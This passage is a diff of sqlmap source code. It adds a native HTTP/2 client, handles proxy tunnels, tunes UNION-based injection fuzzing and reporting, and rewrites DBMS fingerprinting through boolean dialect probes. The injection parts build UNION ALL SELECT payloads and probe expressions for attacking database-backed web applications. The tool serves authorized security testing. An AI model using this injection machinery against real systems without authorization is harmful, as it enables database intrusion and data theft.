def exchange(self, method, path, authority, headers, body, timeout):
|
||||||
|
if not self.usable:
|
||||||
|
raise IOError("HTTP/2 connection no longer usable")
|
||||||
|
|
||||||
|
sid = self.next_sid
|
||||||
|
self.next_sid += 2
|
||||||
|
if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this
|
||||||
|
self.usable = False
|
||||||
|
self.sock.settimeout(timeout)
|
||||||
|
|
||||||
|
req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
|
||||||
|
for k, v in (headers or {}).items():
|
||||||
|
req.append((_tob(k).lower(), _tob(v)))
|
||||||
|
hblock = Encoder().encode(req)
|
||||||
|
self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock))
|
||||||
|
if body:
|
||||||
|
self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)))
|
||||||
|
|
||||||
|
header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
|
||||||
|
while not done:
|
||||||
|
ftype, flags, fsid, payload = _read_frame(self.sock)
|
||||||
|
if ftype == SETTINGS:
|
||||||
|
if not (flags & FLAG_ACK):
|
||||||
|
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
|
||||||
|
elif ftype == PING:
|
||||||
|
if not (flags & FLAG_ACK):
|
||||||
|
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
|
||||||
|
elif ftype == GOAWAY:
|
||||||
|
self.usable = False # server won't accept new streams -> retire connection
|
||||||
|
last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0
|
||||||
|
if sid > last_sid: # our stream was not processed -> safe to retry fresh
|
||||||
|
raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid))
|
||||||
|
elif ftype == RST_STREAM and fsid == sid:
|
||||||
|
self.usable = False
|
||||||
|
raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
|
||||||
|
elif ftype in (HEADERS, CONTINUATION) and fsid == sid:
|
||||||
|
p = payload
|
||||||
|
if ftype == HEADERS:
|
||||||
|
if flags & FLAG_PADDED:
|
||||||
|
p = p[1:len(p) - bytearray(payload)[0]]
|
||||||
|
if flags & FLAG_PRIORITY:
|
||||||
|
p = p[5:]
|
||||||
|
header_block += p
|
||||||
|
if flags & FLAG_END_HEADERS:
|
||||||
|
resp_headers = self.dec.decode(header_block)
|
||||||
|
if flags & FLAG_END_STREAM:
|
||||||
|
done = True
|
||||||
|
elif ftype == DATA and fsid == sid:
|
||||||
|
p = payload
|
||||||
|
if flags & FLAG_PADDED:
|
||||||
|
p = p[1:len(p) - bytearray(payload)[0]]
|
||||||
|
resp_body += p
|
||||||
|
if payload: # replenish stream + connection windows
|
||||||
|
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload))))
|
||||||
|
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
|
||||||
|
if flags & FLAG_END_STREAM:
|
||||||
|
done = True
|
||||||
|
status = None
|
||||||
|
for n, v in (resp_headers or []):
|
||||||
|
if _tob(n) == b":status":
|
||||||
|
status = int(v)
|
||||||
|
break
|
||||||
|
return status, resp_headers, bytes(resp_body)
|
||||||
|
|
||||||
|
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
|
||||||
|
# (one connection per host per thread) so streams never interleave across threads and time-based
|
||||||
|
# measurements stay clean.
|
||||||
|
_h2_pool = threading.local()
|
||||||
|
|
||||||
|
def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout):
|
||||||
|
pool = getattr(_h2_pool, "connections", None)
|
||||||
|
if pool is None:
|
||||||
|
pool = _h2_pool.connections = {}
|
||||||
|
key = (host, port, proxy)
|
||||||
|
|
||||||
|
conn = pool.get(key)
|
||||||
|
reused = conn is not None and conn.usable
|
||||||
|
if not reused:
|
||||||
|
if conn is not None:
|
||||||
|
conn.close()
|
||||||
|
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||||
|
except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh
|
||||||
|
conn.close(); pool.pop(key, None)
|
||||||
|
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||||
|
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||||
|
except (socket.error, ssl.SSLError, IOError):
|
||||||
|
conn.close(); pool.pop(key, None)
|
||||||
|
if reused: # stale keep-alive socket (server closed idle conn) -> reopen once
|
||||||
|
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
|
||||||
|
result = conn.exchange(method, path, authority, headers, body, timeout)
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled
|
||||||
|
conn.close(); pool.pop(key, None)
|
||||||
|
return result
|
||||||
|
|
||||||
|
def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
|
||||||
|
"""One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path
|
||||||
|
goes through open_url -> the reusing pool)."""
|
||||||
|
conn = _H2Connection(host, port, proxy, timeout)
|
||||||
|
try:
|
||||||
|
return conn.exchange(method, path, authority or host, headers, body, timeout)
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
|
||||||
|
class H2Response(object):
|
||||||
|
"""A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
|
||||||
|
request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).
|
||||||
|
|
||||||
|
>>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body')
|
||||||
|
>>> (r.code, r.msg, r.read() == b'body', r.geturl())
|
||||||
|
(200, 'OK', True, 'https://x/')
|
||||||
|
>>> ':status' in r.info()
|
||||||
|
False
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, url, status, headers, body):
|
||||||
|
self.url = url
|
||||||
|
self.code = self.status = status
|
||||||
|
self.msg = _HTTP_RESPONSES.get(status, "")
|
||||||
|
self.http_version = "HTTP/2.0"
|
||||||
|
self._body = body
|
||||||
|
self._offset = 0
|
||||||
|
self._info = _Message()
|
||||||
|
for name, value in (headers or []):
|
||||||
|
name = name.decode("latin-1") if isinstance(name, bytes) else name
|
||||||
|
value = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||||
|
if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
|
||||||
|
self._info[name] = value
|
||||||
|
# expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
|
||||||
|
# uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
|
||||||
|
# bare Message falls back to integer indexing)
|
||||||
|
self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
|
||||||
|
|
||||||
|
def info(self):
|
||||||
|
return self._info
|
||||||
|
|
||||||
|
def geturl(self):
|
||||||
|
return self.url
|
||||||
|
|
||||||
|
def read(self, amt=None):
|
||||||
|
if amt is None:
|
||||||
|
data = self._body[self._offset:]
|
||||||
|
self._offset = len(self._body)
|
||||||
|
else:
|
||||||
|
data = self._body[self._offset:self._offset + amt]
|
||||||
|
self._offset += len(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
|
||||||
|
"""Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
|
||||||
|
previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
|
||||||
|
ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
|
||||||
|
forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
|
||||||
|
req_headers = {}
|
||||||
|
for key in (headers or {}):
|
||||||
|
name = key.decode("latin-1") if isinstance(key, bytes) else key
|
||||||
|
if name.lower() not in forbidden:
|
||||||
|
req_headers[key] = headers[key]
|
||||||
|
|
||||||
|
for _ in range(max_redirects + 1):
|
||||||
|
parts = urlsplit(url)
|
||||||
|
if parts.scheme != "https":
|
||||||
|
raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
|
||||||
|
path = parts.path or "/"
|
||||||
|
if parts.query:
|
||||||
|
path += "?" + parts.query
|
||||||
|
status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path,
|
||||||
|
parts.netloc.split("@")[-1], req_headers, body, timeout)
|
||||||
|
if follow_redirects and status in REDIRECT_CODES:
|
||||||
|
location = None
|
||||||
|
for name, value in (resp_headers or []):
|
||||||
|
if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
|
||||||
|
location = value.decode("latin-1") if isinstance(value, bytes) else value
|
||||||
|
break
|
||||||
|
if location:
|
||||||
|
url = urljoin(url, location)
|
||||||
|
if status in (301, 302, 303): # per RFC 7231, these degrade to GET
|
||||||
|
method, body = "GET", None
|
||||||
|
continue
|
||||||
|
return H2Response(url, status, resp_headers, resp_body)
|
||||||
|
|
||||||
|
raise IOError("too many HTTP/2 redirects")
|
||||||
|
|
@ -60,6 +60,22 @@ class _KeepAliveHandler(object):
|
||||||
def _give_back(self, key, conn, count):
|
def _give_back(self, key, conn, count):
|
||||||
self._pool.conns[key] = [conn, count, time.time()]
|
self._pool.conns[key] = [conn, count, time.time()]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _takeTunnelHeaders(req):
|
||||||
|
"""
|
||||||
|
Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the
|
||||||
|
CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring
|
||||||
|
the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup
|
||||||
|
"""
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)):
|
||||||
|
if store:
|
||||||
|
for name in list(store):
|
||||||
|
if name.lower() == "proxy-authorization":
|
||||||
|
result[name] = store.pop(name)
|
||||||
|
return result
|
||||||
|
|
||||||
def do_open(self, req):
|
def do_open(self, req):
|
||||||
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
|
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
|
||||||
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
|
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
|
||||||
|
|
@ -68,7 +84,14 @@ class _KeepAliveHandler(object):
|
||||||
if not host:
|
if not host:
|
||||||
raise _urllib.error.URLError("no host given")
|
raise _urllib.error.URLError("no host given")
|
||||||
|
|
||||||
key = "%s://%s" % (self._scheme, host)
|
# When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a
|
||||||
|
# plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target
|
||||||
|
# '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when
|
||||||
|
# tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy
|
||||||
|
# socket serves many origins, and a direct connection is keyed by its own host exactly as before).
|
||||||
|
tunnelHost = getattr(req, "_tunnel_host", None)
|
||||||
|
tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None
|
||||||
|
key = "%s://%s" % (self._scheme, tunnelHost or host)
|
||||||
|
|
||||||
conn, count = self._take(key)
|
conn, count = self._take(key)
|
||||||
reused = conn is not None
|
reused = conn is not None
|
||||||
|
|
@ -93,6 +116,8 @@ class _KeepAliveHandler(object):
|
||||||
|
|
||||||
if conn is None:
|
if conn is None:
|
||||||
conn = self._get_connection(host)
|
conn = self._get_connection(host)
|
||||||
|
if tunnelHost:
|
||||||
|
conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {})
|
||||||
count = 0
|
count = 0
|
||||||
self._send_request(conn, req)
|
self._send_request(conn, req)
|
||||||
response = conn.getresponse()
|
response = conn.getresponse()
|
||||||
|
|
|
||||||
|
|
@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||||
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||||
|
from lib.core.settings import FUZZ_UNION_MAX_REQUESTS
|
||||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||||
from lib.core.settings import MAX_RATIO
|
from lib.core.settings import MAX_RATIO
|
||||||
from lib.core.settings import MIN_RATIO
|
from lib.core.settings import MIN_RATIO
|
||||||
|
|
@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
|
||||||
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||||
random.shuffle(choices)
|
random.shuffle(choices)
|
||||||
|
|
||||||
|
attempts = 0
|
||||||
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||||
if retVal:
|
if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search
|
||||||
break
|
break
|
||||||
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
|
attempts += 1
|
||||||
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||||
|
|
||||||
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||||
|
|
@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
||||||
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||||
if kb.fuzzUnionTest is None:
|
if kb.fuzzUnionTest is None:
|
||||||
msg = "do you want to (re)try to find proper "
|
msg = "do you want to (re)try to find proper "
|
||||||
msg += "UNION column types with fuzzy test? [y/N] "
|
msg += "UNION column types with a fuzzy test? [Y/n] "
|
||||||
|
|
||||||
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True)
|
||||||
if kb.fuzzUnionTest:
|
if kb.fuzzUnionTest:
|
||||||
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||||
|
|
||||||
|
# apply the discovered per-column type template through a normal confirmation so
|
||||||
|
# the resulting vector (and later extraction) is built with type-compatible columns
|
||||||
|
if kb.unionTemplate:
|
||||||
|
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate))
|
||||||
|
|
||||||
warnMsg = "if UNION based SQL injection is not detected, "
|
warnMsg = "if UNION based SQL injection is not detected, "
|
||||||
warnMsg += "please consider "
|
warnMsg += "please consider "
|
||||||
|
|
||||||
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
|
if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
|
||||||
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
||||||
|
|
||||||
if not readInput(message, default='Y', boolean=True):
|
if not readInput(message, default='Y', boolean=True):
|
||||||
|
|
@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
|
||||||
negativeLogic = kb.negativeLogic
|
negativeLogic = kb.negativeLogic
|
||||||
setTechnique(PAYLOAD.TECHNIQUE.UNION)
|
setTechnique(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
|
kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if negativeLogic:
|
if negativeLogic:
|
||||||
pushValue(kb.negativeLogic)
|
pushValue(kb.negativeLogic)
|
||||||
|
|
|
||||||
|
|
@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request
|
||||||
from lib.utils.progress import ProgressBar
|
from lib.utils.progress import ProgressBar
|
||||||
from lib.utils.safe2bin import safecharencode
|
from lib.utils.safe2bin import safecharencode
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
|
|
||||||
def _oneShotUnionUse(expression, unpack=True, limited=False):
|
def _oneShotUnionUse(expression, unpack=True, limited=False):
|
||||||
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
|
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
|
||||||
|
|
|
||||||
|
|
@ -253,6 +253,12 @@ def setupReportCollector():
|
||||||
collector = Database(":memory:")
|
collector = Database(":memory:")
|
||||||
collector.connect("report")
|
collector.connect("report")
|
||||||
collector.init()
|
collector.init()
|
||||||
|
|
||||||
|
# record error/critical log messages into the collector so that a CLI --report-json report carries
|
||||||
|
# the same 'error' content the REST API exposes via /scan/<id>/data - letting consumers tell a
|
||||||
|
# failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data')
|
||||||
|
logger.addHandler(ReportErrorRecorder(collector))
|
||||||
|
|
||||||
return collector
|
return collector
|
||||||
|
|
||||||
def writeReportJson(collector, filepath):
|
def writeReportJson(collector, filepath):
|
||||||
|
|
@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler):
|
||||||
"""
|
"""
|
||||||
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
|
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
|
||||||
|
|
||||||
|
class ReportErrorRecorder(logging.Handler):
|
||||||
|
def __init__(self, collector):
|
||||||
|
"""
|
||||||
|
Records error/critical log messages into a report collector's 'errors' table (the counterpart
|
||||||
|
of StdDbOut's stderr branch for CLI --report-json runs)
|
||||||
|
"""
|
||||||
|
logging.Handler.__init__(self)
|
||||||
|
self.setLevel(logging.ERROR)
|
||||||
|
self.collector = collector
|
||||||
|
|
||||||
|
def emit(self, record):
|
||||||
|
try:
|
||||||
|
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg)))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
def setRestAPILog():
|
def setRestAPILog():
|
||||||
if conf.api:
|
if conf.api:
|
||||||
try:
|
try:
|
||||||
|
|
@ -959,7 +981,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
||||||
|
|
||||||
dbgMsg = "Example client access from command line:"
|
dbgMsg = "Example client access from command line:"
|
||||||
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
|
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
|
||||||
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
|
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
|
||||||
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
|
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
|
||||||
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
|
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
|
||||||
logger.debug(dbgMsg)
|
logger.debug(dbgMsg)
|
||||||
|
|
@ -1089,7 +1111,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
||||||
|
|
||||||
elif command in ("help", "?"):
|
elif command in ("help", "?"):
|
||||||
msg = "help Show this help message\n"
|
msg = "help Show this help message\n"
|
||||||
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n"
|
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n"
|
||||||
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
||||||
msg += "data Retrieve and show data for current task\n"
|
msg += "data Retrieve and show data for current task\n"
|
||||||
msg += "log Retrieve and show log for current task\n"
|
msg += "log Retrieve and show log for current task\n"
|
||||||
|
|
|
||||||
|
|
@ -94,16 +94,6 @@ def checkDependencies():
|
||||||
logger.warning(warnMsg)
|
logger.warning(warnMsg)
|
||||||
missing_libraries.add('python-ntlm')
|
missing_libraries.add('python-ntlm')
|
||||||
|
|
||||||
try:
|
|
||||||
__import__("httpx")
|
|
||||||
debugMsg = "'httpx[http2]' third-party library is found"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
except ImportError:
|
|
||||||
warnMsg = "sqlmap requires 'httpx[http2]' third-party library "
|
|
||||||
warnMsg += "if you plan to use HTTP version 2"
|
|
||||||
logger.warning(warnMsg)
|
|
||||||
missing_libraries.add('httpx[http2]')
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
__import__("websocket._abnf")
|
__import__("websocket._abnf")
|
||||||
debugMsg = "'websocket-client' library is found"
|
debugMsg = "'websocket-client' library is found"
|
||||||
|
|
|
||||||
|
|
@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression
|
||||||
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
|
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
|
||||||
# false positives. See PROVE_DESIGN.md.)
|
# false positives. See PROVE_DESIGN.md.)
|
||||||
#
|
#
|
||||||
# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
|
# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
|
||||||
# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
|
# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
|
||||||
# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
|
# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
|
||||||
# anchor value 2:
|
# (only measured signatures classify; anything else -> None). With anchor value 2:
|
||||||
#
|
#
|
||||||
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
|
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
|
||||||
# vs no such operator (SQLite/Oracle/... -> error, so false)
|
# vs no such operator (SQLite/Oracle/... -> error, so false)
|
||||||
|
|
@ -52,57 +52,69 @@ DIALECT_PROBES = (
|
||||||
("shift", "1<<2=4"),
|
("shift", "1<<2=4"),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
|
||||||
|
# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
|
||||||
|
# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
|
||||||
|
# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
|
||||||
|
# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
|
||||||
|
# meaningless signature. It uses a trailing-operator form, distinct from the '<n> <m>' no-operator
|
||||||
|
# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
|
||||||
|
DIALECT_CANARY = "2+"
|
||||||
|
|
||||||
|
# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
|
||||||
|
# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
|
||||||
|
# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
|
||||||
|
# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
|
||||||
|
# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
|
||||||
|
_SIGNATURE_DBMS = {
|
||||||
|
# xor pgpow intdiv bitor shift
|
||||||
|
(True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
|
||||||
|
(False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
|
||||||
|
(False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
|
||||||
|
(False, True, True, True, False): DBMS.PGSQL, # CrateDB
|
||||||
|
(True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
|
||||||
|
(True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
|
||||||
|
(False, False, True, True, True): DBMS.SQLITE, # SQLite
|
||||||
|
}
|
||||||
|
|
||||||
def _classify(signature):
|
def _classify(signature):
|
||||||
"""
|
"""
|
||||||
Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
|
Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
|
||||||
DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
|
through a strict whitelist of live-measured signatures, or returns None when the signature is not
|
||||||
detection proceeds unchanged - the heuristic never wrong-foots the scan).
|
a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
|
||||||
|
detection proceeds unchanged and the heuristic never wrong-foots the scan.
|
||||||
|
|
||||||
Rules below are the subset of the measured 11-engine truth table that maps with zero
|
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
|
||||||
false positives. Engines whose operator profile is not distinctive enough (Oracle's
|
|
||||||
all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
|
|
||||||
a fully WAF-blocked channel also produces) deliberately fall through to None:
|
|
||||||
|
|
||||||
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
|
|
||||||
'MySQL'
|
'MySQL'
|
||||||
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
|
>>> _classify((False, True, True, True, True)) # PostgreSQL
|
||||||
|
'PostgreSQL'
|
||||||
|
>>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
|
||||||
|
'PostgreSQL'
|
||||||
|
>>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
|
||||||
|
'PostgreSQL'
|
||||||
|
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
|
||||||
'Microsoft SQL Server'
|
'Microsoft SQL Server'
|
||||||
>>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<')
|
>>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
|
||||||
'MonetDB'
|
'MonetDB'
|
||||||
>>> _classify((False, True, True, True, False)) # PostgreSQL
|
>>> _classify((False, False, True, True, True)) # SQLite
|
||||||
'PostgreSQL'
|
|
||||||
>>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family
|
|
||||||
'PostgreSQL'
|
|
||||||
>>> _classify((False, False, True, True, True)) # SQLite
|
|
||||||
'SQLite'
|
'SQLite'
|
||||||
>>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
|
>>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
|
||||||
True
|
True
|
||||||
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
|
